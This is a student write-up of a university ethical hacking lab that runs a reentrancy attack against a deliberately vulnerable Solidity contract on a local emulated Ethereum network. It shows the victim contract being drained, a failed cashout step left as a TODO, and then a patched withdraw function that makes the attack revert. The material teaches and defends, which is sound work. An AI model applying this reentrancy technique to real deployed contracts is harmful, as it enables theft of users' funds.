Smart contract exploitation writeup

Ethical Hacking 2023/24, University of Padua

Eleonora Losiouk, Alessandro Brighente, Gabriele Orazi, Francesco Marchiori

---

Task 1

Build and run docker containers:

```
cd emulator/output-small/
dcbuild
dcup
```

It takes few minutes.

Task 1.a

```
cd contract
solc-0.6.8 --overwrite --abi --bin -o . ReentrancyVictim.sol
```

Task 1.b

```
cd ../victim
./deploy_victim_contract.py
```

The last command should generate something like this:

```
Sending tx ...
---------Deploying Contract ----------------
... Waiting for block
Transaction Hash: 0xf1f0f4b0d712686a058048d29635d33b4eaa8e375c55d56514f69fc5f5cf0c9f
Transaction Receipt: AttributeDict({'blockHash': HexBytes('0x5579b99e433e11479e9e6b3cb3baca8
Victim contract: 0xaf98236bcb084ADc949f43d647eb4045260b31F3
```

Task 1.c

From the previous command, we need to use the Victim contract address, which in this case is `0xaf98236bcb084ADc949f43d647eb4045260b31F3`.

Edit `fund_victim_contract.py` file with this value in line 8. Since the task requires to deposit 30 ethers, we also need to modify this line of the script (previous value `10`):

```
...
victim_addr = '0xaf98236bcb084ADc949f43d647eb4045260b31F3'
...
```

```
amount = 30  # the unit is ether
...
```

Then simply run the script:

```
$> ./fund_victim_contract.py
Transaction sent, waiting for the block ...
Transaction Receipt: AttributeDict({'blockHash': HexBytes('0x1c743e46a57afeeaeb7054161179d87
------------------------------------------------------------
== My balance inside the contract:
   0xA403f63AD02a557D5DDCBD5F5af9A7627C591034: 30000000000000000000
== Smart Contract total balance:
   0xaf98236bcb084ADc949f43d647eb4045260b31F3: 30000000000000000000
------------------------------------------------------------
```

Now we need to withdraw 5 ether. Same process but with the `withdraw_from_victim_contract.py` file:

```
...
victim_addr = '0xaf98236bcb084ADc949f43d647eb4045260b31F3'
...
amount = 5
...
```

And run the script:

```
$> ./withdraw_from_victim_contract.py
Transaction sent, waiting for the block ...
Transaction Receipt: AttributeDict({'blockHash': HexBytes('0x3537520f0813e17380e69897454b920
------------------------------------------------------------
== My balance inside the contract:
   0xA403f63AD02a557D5DDCBD5F5af9A7627C591034: 25000000000000000000
== Smart Contract total balance:
   0xaf98236bcb084ADc949f43d647eb4045260b31F3: 25000000000000000000
------------------------------------------------------------
```

Task 2

Modify the following line of `deploy_attack_contract.py` (after `cd ../attacker/`):

```
...
victim_contract = '0xaf98236bcb084ADc949f43d647eb4045260b31F3'
...
```

Then deploy the contract:

```
$> ./deploy_attack_contract.py
---------Deploying Contract -----------------
```

```
... Waiting for block
Transaction Hash: 0xda16d5f650e0d1c87fd70572e584673d66d0ee1f4ead86247cb5354e5760bd9a
Transaction Receipt: AttributeDict({'blockHash': HexBytes('0x0ad1ba3793fd9485c2d696197497973
Attack contract: 0x758a1930B1a2350F446f81f39E4D2E8e010227A2
```

Task 3

Modify `launch_attack.py` with the attack contract line:

```
...
attacker_addr = '0x758a1930B1a2350F446f81f39E4D2E8e010227A2'
...
```

Then start the script:

```
$> ./launch_attack.py
Transaction sent, waiting for block ...
Transaction Receipt: AttributeDict({'blockHash': HexBytes('0xf7ccd20c0e30b2740d03daba9e5e6ce
```

To check that the attack was successful, we can check for balances. Modify the `get_balance.py` script with the corrisponding contracts:

```
...
try:
  victim_addr = '0xaf98236bcb084ADc949f43d647eb4045260b31F3'
  print("  Victim: ", end='')
  print_balance(web3, victim_addr)

  attack_addr = '0x758a1930B1a2350F446f81f39E4D2E8e010227A2'
...
```

And then launch the script:

```
$> ./get_balance.py
------------------------------------------------------------
*** This client program connects to 10.151.0.71:8545
*** The following are the accounts on this Ethereum node
0x8c400205fDb103431F6aC7409655ad3cf8f6d007: 32000000000000000000
0x9105A373ce1d01B517aA54205A5E4c70FA9f34Fe: 5499999999999999999998999360248995521743
------------------------------------------------------------
  Victim: 0xaf98236bcb084ADc949f43d647eb4045260b31F3: 0
Attacker: 0x758a1930B1a2350F446f81f39E4D2E8e010227A2: 26000000000000000000
```

Now we can cashout. Modify `cashout.py` script with the attacker contract and start the script:

```
$> ./cashout.py
Traceback (most recent call last):
  File "./cashout.py", line 17, in <module>
```

```
    recipient_acct = Web3.toChecksumAddress(web3.eth.accounts[2])
IndexError: list index out of range
# TODO: Solve this problem: seems like there is no other accounts other than victim and att
```

Task 4

Exchange the function `withdraw` in the file `contract/ReentrancyVictim.sol` with the following:

```
    function withdraw(uint _amount) public {
        require(balances[msg.sender] >= _amount);

        balances[msg.sender] -= _amount;

        (bool sent, ) = msg.sender.call{value: _amount}("");
        require(sent, "Failed to send Ether!");
    }
```

Then execute all the attack again:

```
solc-0.6.8 --overwrite --abi --bin -o . ReentrancyVictim.sol
cd ../victim/
./deploy_victim_contract.py
# update fund_victim_contract.py with the new victim's contract address
./fund_victim_contract.py
# update withdraw_from_victim_contract.py with the new victim's contract address
./withdraw_from_victim_contract.py # not necessary
cd ../attacker/
# update deploy_attack_contract.py with the new victim's contract address
./deploy_attack_contract.py
# update launch_attack.py with the new attacker's contract address
./launch_attack.py
```

Now the attack raises immediatly an error and the attack is not performed:

```
Traceback (most recent call last):
  File "./launch_attack.py", line 18, in <module>
    tx_hash  = contract.functions.attack().transact({
  File "/home/seed/.local/lib/python3.8/site-packages/web3/contract.py", line 1010, in trans
    return transact_with_contract_function(
  File "/home/seed/.local/lib/python3.8/site-packages/web3/contract.py", line 1614, in trans
    txn_hash = web3.eth.send_transaction(transact_transaction)
  File "/home/seed/.local/lib/python3.8/site-packages/web3/eth.py", line 828, in send_transa
    return self._send_transaction(transaction)
  File "/home/seed/.local/lib/python3.8/site-packages/web3/module.py", line 57, in caller
    result = w3.manager.request_blocking(method_str,
  File "/home/seed/.local/lib/python3.8/site-packages/web3/manager.py", line 197, in request
```

```
    response = self._make_request(method, params)
  File "/home/seed/.local/lib/python3.8/site-packages/web3/manager.py", line 150, in _make_r
    return request_func(method, params)
  File "/home/seed/.local/lib/python3.8/site-packages/web3/middleware/formatting.py", line 9
    response = make_request(method, params)
  File "/home/seed/.local/lib/python3.8/site-packages/web3/middleware/gas_price_strategy.py"
    return make_request(method, (transaction,))
  File "/home/seed/.local/lib/python3.8/site-packages/web3/middleware/formatting.py", line 9
    response = make_request(method, params)
  File "/home/seed/.local/lib/python3.8/site-packages/web3/middleware/attrdict.py", line 33,
    response = make_request(method, params)
  File "/home/seed/.local/lib/python3.8/site-packages/web3/middleware/formatting.py", line 9
    response = make_request(method, params)
  File "/home/seed/.local/lib/python3.8/site-packages/web3/middleware/formatting.py", line 9
    response = make_request(method, params)
  File "/home/seed/.local/lib/python3.8/site-packages/web3/middleware/formatting.py", line 9
    response = make_request(method, params)
  File "/home/seed/.local/lib/python3.8/site-packages/web3/middleware/buffered_gas_estimate.
    hex(get_buffered_gas_estimate(web3, transaction)),
  File "/home/seed/.local/lib/python3.8/site-packages/web3/_utils/transactions.py", line 134
    gas_estimate = web3.eth.estimate_gas(gas_estimate_transaction)
  File "/home/seed/.local/lib/python3.8/site-packages/web3/eth.py", line 868, in estimate_ga
    return self._estimate_gas(transaction, block_identifier)
  File "/home/seed/.local/lib/python3.8/site-packages/web3/module.py", line 57, in caller
    result = w3.manager.request_blocking(method_str,
  File "/home/seed/.local/lib/python3.8/site-packages/web3/manager.py", line 198, in request
    return self.formatted_response(response,
  File "/home/seed/.local/lib/python3.8/site-packages/web3/manager.py", line 170, in formatt
    apply_error_formatters(error_formatters, response)
  File "/home/seed/.local/lib/python3.8/site-packages/web3/manager.py", line 70, in apply_er
    formatted_resp = pipe(response, error_formatters)
  File "cytoolz/functoolz.pyx", line 680, in cytoolz.functoolz.pipe
  File "cytoolz/functoolz.pyx", line 655, in cytoolz.functoolz.c_pipe
  File "/home/seed/.local/lib/python3.8/site-packages/web3/_utils/method_formatters.py", lin
    raise ContractLogicError(response['error']['message'])
web3.exceptions.ContractLogicError: execution reverted: Failed to send Ether!
```

To be sure, you can launch `get_balance.py` to see that no transactions have been performed. This is because now the balance update is now performed before the call for ether transfer. Therefore the error is triggered before the actual transaction (call) is performed.